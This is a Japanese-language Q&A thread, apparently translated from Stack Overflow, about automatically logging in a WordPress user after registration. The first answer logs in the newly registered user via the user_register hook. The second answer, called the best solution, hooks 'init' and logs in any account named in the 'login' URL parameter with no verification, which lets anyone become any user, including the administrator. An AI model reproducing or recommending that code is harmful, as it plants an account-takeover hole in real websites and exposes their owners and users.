4

登録後にユーザーを自動ログインしようとしています。

私はfunctions.phpファイルでこれを試しています:

    add_action( 'user_register', 'auto_login_user' );
    function auto_login_user($user_id) {
      $user = new WP_User($user_id);
      $user_login_var = $user->user_login;
      $user_email_var = stripslashes($user->user_email);
      $user_pass_var    = $user->user_pass;
      $creds = array();
      $creds['user_login'] = $user_login_var;
      $creds['user_password'] = $user_pass_var;
      $creds['remember'] = true;
      $user = wp_signon( $creds, false );
      if ( is_wp_error($user) )
        echo $user->get_error_message();
        
}

エラーが発生しています:

ユーザー名「TheNewUserCreated」に入力したパスワードが正しくありません。パスワードを忘れましたか?

User オブジェクトからパスワードを取得するにはどうすればよいですか?

また、これはテンプレート registration.php のカスタム登録プロセスであるため、$_POST を使用してそのファイルで関数を実行しようとしましたが、その方法でも成功しませんでした...

編集: わかりました、暗号化されたパスワードを取得しています。ここでの解決策は何ですか?ユーザーを自動ログインするにはどうすればよいですか? おそらく私はregistration.phpページでこれを行うことができますか?

4

3 に答える 3

5

functions.php以下の関数をファイルに追加します

 function auto_login_new_user( $user_id ) {
        wp_set_current_user($user_id);
        wp_set_auth_cookie($user_id);
            // You can change home_url() to the specific URL,such as 
        //wp_redirect( 'http://www.wpcoke.com' );
        wp_redirect( home_url() );
        exit;
    }
 add_action( 'user_register', 'auto_login_new_user' );
于 2014-05-09T06:18:16.690 に答える
1
function auto_login() {
            $getuserdata=get_user_by('login',$_GET['login']);
            $tuserid=$getuserdata->ID;
            $user_id = $tuserid;
            $user = get_user_by( 'id', $user_id );
            if( $user ) {
                wp_set_current_user( $user_id, $user->user_login );
                wp_set_auth_cookie( $user_id );
                do_action( 'wp_login', $user->user_login );

            }
        }
        add_action('init', 'auto_login');

私はあなたと同じ問題を抱えていて、この最良の解決策を見つけました。functions.php ファイルでこれを試してください。そしてもう1つ、functions.phpファイルの関数でリセットフォームを送信してください

于 2016-07-21T11:42:29.050 に答える